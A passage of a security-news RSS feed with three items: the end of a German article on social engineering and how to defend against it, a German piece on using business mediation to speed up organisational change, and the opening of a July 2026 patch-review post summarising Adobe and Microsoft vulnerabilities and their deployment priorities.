<p class="wp-block-paragraph">Ein weiteres prominentes Beispiel ist John Podesta, Hillary Clintons ehemaliger Wahlkampfleiter, der 2016 von russischen Spionen gehackt wurde. Die Cyberkriminellen hatten ihm im Vorfeld eine Phishing-E-Mail zugestellt, die als Nachricht von Google getarnt war und <a href="https://www.cbsnews.com/news/the-phishing-email-that-hacked-the-account-of-john-podesta/" title="eine Aufforderung enthielt, sein Passwort zurückzusetzen" target="_blank" rel="noopener">eine Aufforderung enthielt, sein Passwort zurückzusetzen</a>. Statt sein Konto zu schützen, gab er damit seine Anmeldedaten preis.</p>



<h2 class="wp-block-heading">Social Engineering – Zahlen &amp; Statistiken</h2>



<ul class="wp-block-list">
<li><p>Allein im Jahr 2024 konnten kriminelle Hacker durch BEC-Angriffe rund <strong>6,3 Milliarden Dollar</strong> einstreichen. (Quelle: <a href="https://www.verizon.com/business/resources/reports/2025-dbir-data-breach-investigations-report.pdf" target="_blank" rel="noreferrer noopener">Verizon DBIR 2025</a>)</p></li>



<li><p>Smishing macht <strong>39 Prozent</strong> aller mobilen Bedrohungen aus. (Quelle: <a title="SlashNext" href="https://slashnext.com/state-of-phishing-2023/" target="_blank" rel="noopener">SlashNext</a>)</p></li>



<li><p>Mit der Einführung von ChatGPT stieg die Zahl der Social-Engineering-Angriffe <strong>um 45 Prozent</strong>. (Quelle: <a title="SlashNext" href="https://slashnext.com/state-of-phishing-2023/" target="_blank" rel="noopener">SlashNext</a>)</p></li>



<li><p>Mit 17 Prozent aller Kompromittierungen ist Phishing der <strong>zweithäufigste, initiale Malware-Infektionsvektor</strong>. (Quelle: Mandiant <a title="M-Trends-Report 2024" href="https://cloud.google.com/security/resources/m-trends" target="_blank" rel="noopener">M-Trends-Report 2024</a>)</p></li>
</ul>



<h2 class="wp-block-heading">Social-Engineering-Angriffe abwehren</h2>



<p class="wp-block-paragraph">Wir haben fünf Tipps zur Abwehr von Social-Engineering-Attacken für Sie zusammengestellt:</p>



<p class="wp-block-paragraph"><strong>1. Security Awareness</strong></p>



<p class="wp-block-paragraph"><a href="https://www.computerwoche.de/article/2785239/security-awareness-richtig-planen-und-vermitteln.html" title="Security-Awareness-Schulungen" target="_blank">Security-Awareness-Schulungen</a> sind der beste Weg, um Social Engineering zu verhindern. Nur wenn die Mitarbeiter wissen, welche Gefahr ihnen droht, können sie sich gegen solche Angriffe wappnen. Erarbeiten Sie ein umfassendes Schulungsprogramm, dass zu mehr Sicherheitsbewusstsein führt! Es sollte regelmäßig aktualisiert werden, um sowohl allgemeinen Phishing-Bedrohungen als auch neuen, <a href="https://www.computerwoche.de/article/2798234/neue-wege-zum-phishing-erfolg.html" title="gezielten Bedrohungen" target="_blank">gezielten Bedrohungen</a> angemessen begegnen zu können. </p>



<p class="wp-block-paragraph">Dabei sollten Sie von einer tiefgehenden Erklärung technischer Schwachstellen und Details absehen und stattdessen Beispiele nennen, die die Methoden der Angreifer in den Fokus stellen. Auch interaktive Elemente wie ein Quiz können dazu beitragen, Mitarbeiter vorzubereiten.</p>



<p class="wp-block-paragraph"><strong>2. Security-Briefing für Mitarbeiter in Schlüsselpositionen</strong></p>



<p class="wp-block-paragraph">Unternehmen sollten Führungskräfte und leitende Angestellte in ihre Bemühungen einbeziehen, da sie für Cyberkriminelle die <a href="https://www.computerwoche.de/a/so-werden-ceos-hereingelegt,3256518" title="attraktivsten Social-Engineering-Ziele" target="_blank">attraktivsten Social-Engineering-Ziele</a> darstellen. Wichtig ist es auch Mitarbeiter, die die Berechtigung zu Finanztransaktionen haben, regelmäßig über <a href="https://www.cio.de/a/wenn-hacker-chef-spielen,3331676" title="die Gefahren aufzuklären" target="_blank">die Gefahren aufzuklären</a>.</p>



<p class="wp-block-paragraph"><strong>3. Bestehende Prozesse prüfen</strong></p>



<p class="wp-block-paragraph">Für finanzielle und andere wichtige Transaktionen bietet es sich an, zusätzliche Kontrollmaßnahmen einzuziehen. Dabei gilt es im Auge zu behalten, dass einige Schutzmaßnahmen, beispielsweise eine Aufgabentrennung, sinnlos werden könnten, wenn es sich um eine <a href="https://www.computerwoche.de/article/2772542/mitarbeiter-die-zu-innentaetern-wurden.html" title="Insider-Bedrohung" target="_blank">Insider-Bedrohung</a> handelt. Eine regelmäßige Risikoanalyse ist zu empfehlen.</p>



<p class="wp-block-paragraph"><strong>4. Neue Richtlinien für dringende Anfragen</strong></p>



<p class="wp-block-paragraph">Sendet der Vorstandsvorsitzende eine E-Mail von seinem Gmail-Konto, sollte das bei den Mitarbeitern Alarmsignale auslösen. Um vorschnelle Reaktionen zu vermeiden, die ins Unglück führen können, sollten Mitarbeiter ein klar definiertes Notfallverfahren an die Hand bekommen und im Zweifel direkt mit dem Absender kommunizieren können.</p>



<p class="wp-block-paragraph"><strong>5. Incident Management</strong></p>



<p class="wp-block-paragraph">Überprüfen, verfeinern und testen Sie regelmäßig Ihre Incident-Management-Systeme. Dazu bieten sich Übungen mit der Geschäftsleitung und den wichtigsten Mitarbeitern an, in denen Kontrollmechanismen und potenzielle Schwachstellen auf den Prüfstand kommen.</p>



<h2 class="wp-block-heading">Social Engineering – Toolkits</h2>



<p class="wp-block-paragraph">Es gibt am Markt einige Tools und Services, die Unternehmen bei Awareness-Kampagnen und Phishing-Simulationen unterstützen:</p>



<ul class="wp-block-list">
<li><p>Das <a title="Social Engineering Toolkit" href="https://github.com/trustedsec/social-engineer-toolkit" target="_blank" rel="noopener">Social Engineering Toolkit</a> von TrustedSec steht als kostenloser Download zur Verfügung und hilft bei der Automatisierung von Penetrationstests. Zu den Features gehören neben Social Engineering auch Spear Phishing, Fake Websites und USB-basierte Angriffe.</p></li>



<li><p>Das <a title="Social Engineering Framework" href="https://www.social-engineer.org/framework/general-discussion/" target="_blank" rel="noopener">Social Engineering Framework</a> ist eine weitere gute Ressource. Laut Aussage der Macher enthält es “aktuelle wissenschaftliche, technische und psychologische Informationen” zum Thema. Das Ziel sei es, “eine Informationssammlung für Sicherheitsexperten, Penetrationstester und Enthusiasten zu schaffen”. Das Framework wird regelmäßig aktualisiert.</p></li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Beitrag ist <a href="https://www.csoonline.com/article/571993/social-engineering-definition-examples-and-techniques.html" target="_blank">im Original</a> bei unserer Schwesterpublikation CSOonline.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Wie Change an Tempo gewinnt]]></title>
<description><![CDATA[Business-Mediation verkürzt die Phase reduzierter Leistungsfähigkeit während einer Transformation.Dieter Hawlan | shutterstock.com



Die Menschen bei Veränderungen mitzunehmen, ist eine der anspruchsvollsten Aufgaben jeder Transformation. Entsprechend professionell sind die Instrumente geworden:...]]></description>
<link>https://tsecurity.de/de/3669451/it-security-nachrichten/wie-change-an-tempo-gewinnt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669451/it-security-nachrichten/wie-change-an-tempo-gewinnt/</guid>
<pubDate>Wed, 15 Jul 2026 05:08:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Dieter-Hawlan_shutterstock_94177360_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Staircase Speed 16z9" class="wp-image-4194493" width="1024" height="576" sizes="(max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Business-Mediation verkürzt die Phase reduzierter Leistungsfähigkeit während einer Transformation.</figcaption></figure><p class="imageCredit">Dieter Hawlan | shutterstock.com</p></div>



<p class="wp-block-paragraph">Die Menschen bei Veränderungen mitzunehmen, ist eine der anspruchsvollsten Aufgaben jeder Transformation. Entsprechend professionell sind die Instrumente geworden: Roadshows, Townhalls und Intranet-Kampagnen zählen heute zum Standardrepertoire größerer <a href="https://www.computerwoche.de/article/2797747/mit-dem-richtigen-change-modell-zum-ziel.html" target="_blank">Change-Programme</a>. Die Kommunikationsintensität ist hoch, doch die Erfolgsquote strategischer Transformationen bleibt dennoch <a href="https://www.computerwoche.de/article/4146333/warum-unternehmen-nicht-ins-tun-kommen.html">gering</a>.</p>



<p class="wp-block-paragraph">Der „<a href="https://www.porsche-consulting.com/sites/default/files/2023-04/changemanagement_compass_2022_04.pdf">Change Management Compass” von Porsche Consulting</a> (PDF) verdeutlicht diese Diskrepanz: Rund <strong>70 Prozent</strong> aller Transformationsvorhaben verfehlen demnach ihre Ziele aufgrund eines unzureichenden Change Managements. Die Studie zeigt außerdem, dass <strong>83 Prozent</strong> der befragten CEOs auf eine intensive Change-Kommunikation über mehrere Kanäle setzen und dieser eine zentrale Rolle für den Erfolg von Veränderungsinitiativen zuschreiben.</p>



<h2 class="wp-block-heading">Was Transformationen ausbremst</h2>



<p class="wp-block-paragraph">Auf den ersten Blick wirken diese Ergebnisse widersprüchlich. Wenn Kommunikation als ein entscheidender Hebel gilt und Unternehmen diesen entsprechend professionalisiert haben, warum bleiben die Ergebnisse dennoch so häufig hinter den Erwartungen zurück? Ein wesentlicher Grund liegt in der „<em>Information-Action-Gap</em>“: der Lücke zwischen dem Verstehen einer Veränderung und ihrer tatsächlichen Umsetzung im Alltag. Diese Lücke entsteht, wenn <a href="https://www.computerwoche.de/article/4030328/so-verandert-ki-ihre-grc-strategie.html" target="_blank">neue strategische Zielbilder</a> auf bestehende Strukturen, Verantwortlichkeiten und Interessen treffen.</p>



<p class="wp-block-paragraph">In der Praxis zeigt sich dieses Defizit als Reibung im Arbeitsalltag. Was auf strategischer Ebene klar erscheint, muss mit dem operativen Betrieb und seinen bestehenden Routinen, Zuständigkeiten und Prioritäten in Einklang gebracht werden. Transformationen führen deshalb in der Regel zunächst zu einer reduzierten Leistungskraft der Organisation, bevor sich die neu geschaffenen Strukturen und die Leistungsstärke auf einem neuen Niveau stabilisieren. In dieser Übergangsphase entstehen Spannungen, die den Umsetzungstakt verlangsamen.</p>



<p class="wp-block-paragraph">Genau hier stößt die klassische Change-Kommunikation an ihre Grenzen. Sie kann das “Warum” erklären, Akzeptanz schaffen, Orientierung bieten und motivieren. Aber sie kann kaum effektiv die Spannungen bearbeiten, die Veränderungen zwangsläufig <a href="https://www.computerwoche.de/article/4015870/die-lehren-einer-chaotischen-milliarden-transformation.html" target="_blank">erzeugen</a>. Um diese Reibungsverluste zu begrenzen und die Organisation schneller wieder auf ein stabiles Leistungsniveau zu bringen, lohnt sich ein erweiterter Blick auf die <em>Business-Mediation</em> – nicht als reaktives Instrument zur reinen Konfliktlösung, sondern als strategisches Instrument zur Beschleunigung organisationaler Umsetzungsgeschwindigkeit.</p>



<h2 class="wp-block-heading">Die „Information-Action-Gap“ in der Praxis</h2>



<p class="wp-block-paragraph">Wie sich solche Spannungen im Transformationsalltag auswirken, zeigt das folgende Beispiel: Im Rahmen der strategischen Neuausrichtung eines Versicherungsunternehmens wurde eine neue Digitaleinheit aufgebaut. Ihre Aufgabe: neue Technologien schneller als bisher in die bestehende IT-Landschaft zu integrieren. Parallel blieb die etablierte IT-Abteilung weiterhin für den stabilen Betrieb verantwortlich. </p>



<p class="wp-block-paragraph">Die strategische Zielsetzung der Veränderung war eindeutig kommuniziert. Das Management hatte den Handlungsdruck erläutert, die Vorteile der neuen Ausrichtung beschrieben und die Erwartungen an beide Bereiche klar formuliert. Weder die neue Digitaleinheit noch das etablierte IT-Team stellten die Transformation grundsätzlich infrage. Dennoch geriet die Zusammenarbeit nach wenigen Monaten zunehmend ins Stocken.</p>



<p class="wp-block-paragraph">Entscheidungen wurden getroffen und kurze Zeit später wieder infrage gestellt. Abstimmungen zogen sich über Wochen, Projekte verloren an Geschwindigkeit. Die Verantwortlichkeiten waren formal zwar definiert, wurden in der täglichen Zusammenarbeit jedoch unterschiedlich interpretiert – nicht zuletzt, weil frühere Rollenverständnisse fortwirkten. Die neue Einheit empfand die Prozesse der etablierten IT-Abteilung als übermäßig bürokratisch und innovationshemmend. Umgekehrt entstanden in der IT Zweifel, ob die neuen Lösungen ausreichend durchdacht und <a href="https://www.computerwoche.de/article/4135894/10-release-kriterien-fur-ki-agenten.html" target="_blank">regulatorisch belastbar</a> waren.</p>



<p class="wp-block-paragraph">Aus Sicht des Managements lag die Ursache zunächst auf der Hand: mangelnde Veränderungsbereitschaft der etablierten Einheit. Erst die Mediation zeigte ein anderes Bild. Niemand war gegen die Veränderung. Die eigentlichen <a href="https://www.computerwoche.de/article/2795315/konflikte-in-innovationskraft-wandeln.html" target="_blank">Reibungsverluste</a> entstanden aus drei strukturellen Spannungsfeldern:</p>



<ul class="wp-block-list">
<li><strong>Innovationsdruck trifft Stabilitätsauftrag: </strong>Die neue Einheit wurde an Umsetzungsgeschwindigkeit gemessen, die etablierte IT an Stabilität und Risikominimierung. Beide Seiten handelten somit rational und entsprechend ihrer unterschiedlichen Zielvorgaben.</li>



<li><strong>Bedeutungsgewinn erzeugt Bedeutungsverlust: </strong>Mit der neuen Organisationsstruktur verschob sich die Aufmerksamkeit. Die Digitaleinheit rückte vermehrt in den Mittelpunkt des Zukunfts-Narrativs. Die etablierte IT-Abteilung nahm dies als Verlust ihrer organisationalen Bedeutung wahr. Mitarbeiter, die über Jahre den Unternehmenserfolg gesichert hatten, fühlten sich plötzlich weniger gefragt.</li>



<li><strong>Zukunftschancen sind ungleich verteilt: </strong>Im Mediationsprozess wurde sichtbar, dass auch Mitarbeiter der etablierten Einheit großes Interesse an neuen Technologien hatten. Während die neue Einheit als Innovationstreiber gefeiert wurde, verblieb die Kernmannschaft im vermeintlich „grauen“ Bestandsgeschäft. Die organisatorische Trennung wurde deshalb nicht nur als neue Struktur verstanden, sondern auch als Signal dafür, wo die Zukunft des Unternehmens gesehen wurde.<br><br></li>
</ul>



<p class="wp-block-paragraph">Das Beispiel zeigt: Die Beteiligten verstanden die Notwendigkeit der Veränderung und unterstützten sie grundsätzlich. Die eigentlichen Reibungsverluste entstanden jedoch an den Schnittstellen unterschiedlicher Zielsysteme, Rollen und Zukunftserwartungen. Diese Spannungen bleiben bei Transformationen häufig unbearbeitet, obwohl sie maßgeblich darüber entscheiden, wie schnell diese umgesetzt werden können.</p>



<h2 class="wp-block-heading">Was Mediation tatsächlich leistet</h2>



<p class="wp-block-paragraph">Mediation sucht keinen Kompromiss, sondern schafft operative Klarheit. Ihr Beitrag bestand im vorherigen Beispiel darin, jene strukturellen Spannungen zu bearbeiten, die die Umsetzung der Transformation verlangsamten. Im eben beschriebenen Praxisbeispiel zeigte sich ihre Wirkung auf drei Ebenen:</p>



<p class="wp-block-paragraph"><strong>1. Widersprüchliche Ziele ausbalancieren: </strong>Was zunächst als mangelnde Veränderungsbereitschaft erschien, erwies sich als Folge der widersprüchlichen Zielsetzungen der beiden Abteilungen (Geschwindigkeit vs. Systemstabilität). Mediation half dabei, den Konflikt von der persönlichen auf die Sachebene zu verlagern und gemeinsame Entscheidungsprinzipien für den Umgang mit diesem Zielkonflikt zu erarbeiten. </p>



<p class="wp-block-paragraph"><strong>2. Verdeckte Relevanzverluste ansprechbar machen: </strong>Die Restrukturierung veränderte nicht nur die Prozesse, sondern auch die Wahrnehmung von Bedeutung und Zukunftsperspektiven innerhalb der Organisation. Erst als die impliziten Relevanzverluste der etablierten Einheit offen thematisiert wurden, verloren sie ihren destruktiven Einfluss auf die operative Zusammenarbeit. Mediation schuf dafür einen strukturierten Rahmen, ohne die Diskussion auf persönliche Befindlichkeiten zu reduzieren.</p>



<p class="wp-block-paragraph"><strong>3. Zusammenarbeit verbindlich neu organisieren: </strong>Erst nachdem die zugrundeliegenden Spannungen geklärt waren, konnten Rollen, Verantwortlichkeiten und Entscheidungswege feinjustiert werden, um Interpretationsspielräume zu schließen und ein gemeinsames Zielbild der täglichen Zusammenarbeit zu erlangen. Mediation übersetzte die strategische Einigung in konkrete Spielregeln für den Arbeitsalltag.</p>



<p class="wp-block-paragraph">Die Wirkung zeigte sich unmittelbar: Entscheidungen wurden schneller getroffen, Abstimmungen verkürzten sich und Projekte gewannen wieder an Umsetzungsgeschwindigkeit. Business-Mediation erwies sich damit als Hebel, um die organisationalen Reibungsverluste während des Veränderungsprozesses zu reduzieren.</p>



<h2 class="wp-block-heading">Change-Erfolg braucht Spannungsmanagement</h2>



<p class="wp-block-paragraph">Business-Mediation ersetzt weder Führung noch Change-Kommunikation. Sie ergänzt beide dort, wo strukturelle Spannungen die Umsetzung einer Transformation verlangsamen. Nicht jeder Konflikt erfordert dabei ein Mediationsverfahren. Viele Reibungspunkte lassen sich durch klare Prioritäten, eindeutige Führungsentscheidungen oder <a href="https://www.computerwoche.de/article/2798564/wie-konfliktloesung-kuenftig-geht.html" target="_blank">präzisere Kommunikation</a> lösen. Relevant wird Mediation erst dann, wenn die Umsetzung trotz klarer Ziele, Kommunikation und wiederholter Führungsinterventionen ins Stocken gerät. </p>



<p class="wp-block-paragraph">In solchen Situationen fehlt meist nicht die nächste Ansage von oben, sondern ein strukturierter Prozess, um widersprüchliche Interessen, Rollen und Zielsysteme im Dialog mit allen Beteiligten gewinnbringend aufeinander abzustimmen. Der Grund für das Scheitern von Transformationen liegt also selten im fehlenden „Warum“, sondern meist im stockenden „Wie“. Reine Kommunikation reicht in diesen Fällen selten aus. Während die klassische Change-Kommunikation das nötige Verständnis schafft, baut die Business-Mediation die blockierenden Spannungen ab. Erst die Kombination beider Disziplinen lässt Transformationen spürbar an Fahrt gewinnen. (fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Beitrag wurde im Rahmen des deutschsprachigen Experten-Netzwerks von Foundry veröffentlicht. Lust mitzumachen? </strong><a href="https://www.computerwoche.de/experten/" target="_blank"><strong>Jetzt bewerben</strong></a><strong>!</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The July 2026 Security Update Review]]></title>
<description><![CDATA[Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly...]]></description>
<link>https://tsecurity.de/de/3668876/it-security-nachrichten/the-july-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668876/it-security-nachrichten/the-july-2026-security-update-review/</guid>
<pubDate>Tue, 14 Jul 2026 20:22:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our <a href="https://www.youtube.com/playlist?list=PLeFSM_a8Jri75_5-NpydcFneOaTvr3vJE">YouTube</a> channel. It should be posted within a couple of hours after the release.</p><p class=""><strong>Adobe Patches for July 2026</strong></p><p class="">Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.</p><p class="">For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-82.html" target="_blank">APSB26-82</a></td>
    <td>Adobe ColdFusion</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.9</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-73.html" target="_blank">APSB26-73</a></td>
    <td>Adobe Commerce</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-78.html" target="_blank">APSB26-78</a></td>
    <td>Adobe After Effects</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/animate/apsb26-83.html" target="_blank">APSB26-83</a></td>
    <td>Adobe Animate</td>
    <td>6</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/audition/apsb26-71.html" target="_blank">APSB26-71</a></td>
    <td>Adobe Audition</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-81.html" target="_blank">APSB26-81</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/creative-cloud/apsb26-77.html" target="_blank">APSB26-77</a></td>
    <td>Adobe Creative Cloud Desktop Application</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.1</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-74.html" target="_blank">APSB26-74</a></td>
    <td>Adobe Experience Manager</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-79.html" target="_blank">APSB26-79</a></td>
    <td>Adobe Illustrator</td>
    <td>5</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-72.html" target="_blank">APSB26-72</a></td>
    <td>Adobe Media Encoder</td>
    <td>5</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-76.html" target="_blank">APSB26-76</a></td>
    <td>Adobe Premiere Pro</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-80.html" target="_blank">APSB26-80</a></td>
    <td>Content Credentials SDK</td>
    <td>12</td>
    <td>Critical</td>
    <td>8.2</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>12 bulletins</td>
    <td>88</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  






  <p class="">While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here. </p><p class=""><strong>Microsoft Patches for July 2026</strong></p><p class="">Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png" data-image-dimensions="2158x1150" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1000w" width="2158" height="1150" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  





  <p class="">The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.</p><p class="">So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><strong>CVE-2026-56155</strong></a><strong> - Active Directory Federation Services Elevation of Privilege Vulnerability<br></strong>This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56154"><strong>CVE-2026-56164</strong></a><strong> - Microsoft SharePoint Server Elevation of Privilege Vulnerability<br></strong>The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><strong>CVE-2026-57092</strong></a><strong> - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability<br></strong>This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><strong>CVE-2026-50522</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><strong>58644</strong></a><strong> - Microsoft SharePoint Remote Code Execution Vulnerability<br></strong>This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during <a href="https://www.zerodayinitiative.com/blog/2026/5/16/pwn2own-berlin-2026-day-three-results-and-master-of-pwn">Pwn2Own Berlin</a>, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><strong>CVE-2026-56190</strong></a><strong> - Remote Desktop Protocol Remote Code Execution Vulnerability</strong><br> This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. </p><p class="">-    <a 